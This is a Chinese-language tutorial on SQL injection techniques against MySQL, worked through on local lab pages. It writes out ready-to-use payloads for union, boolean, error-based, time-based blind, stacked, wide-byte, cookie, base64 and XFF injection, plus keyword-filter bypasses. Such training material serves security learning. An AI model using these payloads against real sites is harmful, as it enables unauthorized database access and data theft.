0xx1 sql注入基础
- 什么是sql注入
sql注入指的是WEB应用程序对用户输入数据呃合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询
- sql注入原理
- 参数用户可控:前端传给后端的参数是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到sql语句,并且带入到数据库查询
当传入ID参数为 1’ 时,数据库执行代码:
select * from users where id = 1’
这不符合数据库语法规范,所以会报错.
当传入参数为 and 1=1 时,执行的sql语句为:
select * from users where id = 1 and 1=1
因为1=1为真,id=1为真,所以页面会返回id=1相同的结果
当传入1=2时,1=2不成立,所以会返回假,页面就会返回与id=1不同的结果
- 与MySQL注入相关知识点
- SCHEMATA表,存储用户创建的所有数据库的库名,字段为SCHEMA_NAME
- TABLES表,存储所有数据库的库名和表名,库名:TABLE_SCHEMA.表名:TABLE_NAME
- COLUMNS表,存储用户创建的所有数据库名,表名和字段名.库名:TABLE_SCHEMA,表名:TABLE_NAME,字段名:COLUMN_NAME
- 查询语句
- select 字段名 from 库名.表名 where 条件
- limit
- limit m,n m指记录开始的位置,n指取n条记录
- 需要记住的函数
- database() 当前网站使用的数据库
- version() 当前MySQL的版本
- user() 当前MySQL的用户
0xx2 sql注入
- union注入
URL地址:http://127.0.0.1/union.php?id=1
-
- 在URL后添加单引号,再次访问,返回结果与之前不同
- 在URL后添加and 1=1,再次访问,返回结果与之前相同
- 在URL后添加and 1=2,再次访问,返回结果与之前不同
可以得出结论---该网站存在SQL注入漏洞,接着,使用 order by 1-99语句查询该数据表的字段数(如 order by 3页面返回结果与之前相同,order by 4 页面返回结果与之前不同,则字段数为3)
然后将URL中ID值设置为数据库中没有的数据(如-1)使用union select 查询,返回可以输入MySQL语句的位置
访问 id=-1 union select 1,database(),3 查询2位置的数据库名
在2位置粘贴语句(select table_name from information_sacema.tables where table_schema=’sql’ limit 0,1)返回数据库第一个表名
继续在2位置查询字段名
- Boolean注入
URL地址:http://127.0.0.1/boolean.php?id=1
-
- 输入正常网址,页面返回yes,URL后添加 ’ ,页面返回no
- URL后加 and 1=1%23,返回yes,加and1=2%23,返回no
- 修改ID值,仍返回yes或no没有数据库返回数据则可以尝试Boolean注入
URL后加入 ’ and length(database())>=1- - +
1的位置可以是任意数字观察页面返回结果判断库名长度
’ and substr(database(),1,1)=’?’- - +
substr() 截取database()的值(从1开始,截取一个)
可以使用burpsuite进行爆破(使用a-z,0-9,特殊符号或ASCII码)
将查询字段名,表名的语句替换到database()位置,查询字段名和表明
- 报错注入
URL地址:http://127.0.0.1/sql/error.php?username=1
在URL后加 ’ 页面报错
因为程序直接将错误信息输出到页面,所以可以利用报错信息获取数据
获取当前用户:
’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)- - +
获取当前库名
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)- - +
获取库名表名字段名
’ and updatexml(1,concat(0x7e,(select schema_name from
information_schema.schemata limit 0,1),0x7e),1)- - +
- 时间盲注
URL地址:http://127.0.0.1/sql/lime.php?id=1
情况与Boolean注入相似的另外一种注入方式
时间盲注多与if(expr1,expr2,expr3)结合使用
if含义是:如果expr1位TRUE,则返回expr2,否则返回expr3
判断数据库名长度
if(length(database())>1,sleep(5),1)
判断数据库名
if(substr(database()1,1)=’s’,sleep(5),1)
- 堆叠查询注入
URL地址:http://127.0.0.1/dd.php?id=1
堆叠查询可以执行多条语句,多语句之间用分号分开,堆叠查询注入就是利用这个特点,在第二个sql语句中构造自己要执行的语句
- 首先访问 id=1’ ,页面返回MySQL错误
- 再访问id=1’%23,页面返回结果正常
- 这里,除了可以使用堆叠注入,还可以使用Boolean注入,时间注入
注入语句:
’;select if(substr(user(),1,1)=’r’,sleep(3) ,1)%23
- 二次注入攻击
URL地址:http://127.0.0.1/er/1.php?username=test & http://127.0.0.1/er/2.php?id=10
其中:
1.php功能是注册用户名,也是插入sql语句的地方
2.php功能是通过参数ID读取用户名和用户信息
通过向1.php注入参数,获得id,来带入2.php得到相应的数据
- 宽字节注入
URL地址:http://127.0.0.1/kzj.php?id=1
-
- 访问id=1’ ,程序没有报错,而是多了一个转移符”\”
- 从返回结果看出来,参数id=1在数据库查询时是被单引号包围的,当传入id=1’时,传入的单引号被转移符(\)转义,导致参数id无法逃逸单引号的包围,一般此处是不存在sql注入的,但是数据库编码是GBK时,可以使用宽字节注入
- 宽字节的格式是在地址后先加一个 %df 再加单引号(因为反斜杠的编码是%5c,在GBK编码中,%df%5c 是繁体字”連”所以这时,单引号逃逸,MySQL数据库报错)
- 使用and1=1和and1=2继续注入
id=1%df’ and 1=1%23 返回正常
id=1%df’ and 1=2%23 返回错误
所以判断参数ID存在错误
-
- 接着使用order by 判断数据库表中的字段数量
id=1%df’ order by 3%23
-
- 最后,结合union注入,获取字段名
- cookie注入
URL地址:http://127.0.0.1/cookie.php
-
- URL中没有GET参数,但是通过burpsuite抓包发现,cookie中存在id=1
- 修改cookie中的参数id=1’ , id=1 and 1=1 , id=1 and 1=2观察页面返回信息,判断是否存在sql注入
- 然后使用union注入方法注入
- Base64注入
URL地址:http://127.0.0.1/sql/base64/base64.php?id=MQ%3d%3d
-
- 从URL可以看出,ID参数经过base64编码,解码后,发现id=1
- 分别输入 id=1’ , id=1 and 1=1 , id=1 and 1=2 的base64编码,观察页面返回信息,判断是否存在sql注入
- 然后使用union注入方法注入
- XFF注入
URL地址:http://127.0.0.1/sql/xff.php
-
- 通过burpsuite抓包,可以看到HTTP请求头有一个头部参数X-Forwarded-for(XFF)
- 他代表客户端真实ip,通过修改XFF头,伪造客户端ip
- 修改为127.0.0.1,访问,页面返回正常
- 修改为127.0.0.1’,访问,页面报错
- 修改为127.0.0.1’ and 1=1# 和127.0.0.1’ and 1=2#
- 然后使用union注入方法注入
- 大小写绕过注入
URL地址:http://127.0.0.1/sql/1.php?id=1
访问id=1’ 页面报错,访问id=1 and 1=1 页面返回’no hack’,发现被拦截,说明有关键词过滤,可以尝试使用大小写绕过(如And 1=1,aNd 1=1,AND 1=1 等)观察页面返回信息,判断是否存在sql注入
然后使用order by 查询字段长度
最后使用union注入方式注入
- 双写绕过注入
URL地址:http://127.0.0.1/sql/2.php?id=1
访问id=1’ 页面报错,访问 and 1=1 依然报错,and 1=1 变成 1=1
因此可知,and关键字被过滤,这时可以尝试双写注入aanndd->and
继续判断页面是否存在sql注入漏洞
然后使用union注入方式注入
- 内联注释绕过注入
URL地址:http://127.0.0.1/sql/4.php?id=1
访问id=1,页面报错,访问id=1 and 1=1 和id=1 and 1=2,页面提示’no hack’即,关键字比拦截
尝试使用内联注释绕过,访问id=1 /*!and*/ 1=1页面返回与id=1相同,访问id=1 /*!and*/ 1=1页面返回与id=1不同
后面注入与union注入一致
小结:
SQL注入大致可分
Union注入: 宽字节注入,cookie注入,base64注入,XFF注入,
盲注: 时间注入,Boolean注入,堆叠查询注入, 报错注入ANQU